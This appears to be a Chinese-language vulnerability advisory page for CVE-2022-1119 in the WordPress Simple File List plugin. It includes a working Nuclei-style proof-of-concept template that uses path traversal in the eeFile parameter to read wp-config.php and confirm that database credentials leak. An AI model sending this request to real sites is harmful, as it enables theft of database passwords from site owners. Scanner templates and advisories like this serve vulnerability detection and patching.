CVE-2022-1119: WordPress Simple File List <3.2.8 - Local File Inclusion

日期: 2025-08-01 | 影响软件: WordPress Simple File List | POC: 已公开

漏洞描述

WordPress Simple File List before 3.2.8 is vulnerable to local file inclusion via the eeFile parameter in the ~/includes/ee-downloader.php due to missing controls which make it possible for unauthenticated attackers retrieve arbitrary files.

PoC代码[已公开]

id: CVE-2022-1119

info:
  name: WordPress Simple File List <3.2.8 - Local File Inclusion
  author: random-robbie
  severity: high
  description: |
    WordPress Simple File List before 3.2.8 is vulnerable to local file inclusion via the eeFile parameter in the ~/includes/ee-downloader.php due to missing controls which make it possible for unauthenticated attackers retrieve arbitrary files.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the server, potentially leading to further compromise.
  remediation: |
    Update WordPress Simple File List to version 3.2.8 or later to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/5551038f-64fb-44d8-bea0-d2f00f04877e
    - https://wpscan.com/vulnerability/075a3cc5-1970-4b64-a16f-3ec97e22b606
    - https://plugins.trac.wordpress.org/browser/simple-file-list/trunk/includes/ee-downloader.php?rev=2071880
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1119
    - https://www.wordfence.com/vulnerability-advisories/#CVE-2022-1119
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-1119
    cwe-id: CWE-22
    epss-score: 0.9133
    epss-percentile: 0.99646
    cpe: cpe:2.3:a:simplefilelist:simple-file-list:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: simplefilelist
    product: simple-file-list
    framework: wordpress
  tags: cve,cve2022,wp,wp-plugin,wpscan,lfi,wordpress,simplefilelist

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/simple-file-list/includes/ee-downloader.php?eeFile=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/wp-config.php"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "DB_NAME"
          - "DB_PASSWORD"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022008c3e8d56c9d429ee0883f9b06d73ee751d10cad955f39a5702a9a5be74596ea022100a24bcff586c9268589382680fc2af7ee9d0bb0de39ecaaba62249dd25c368551:922c64590222798bb761d5b6d8e72950

相关漏洞推荐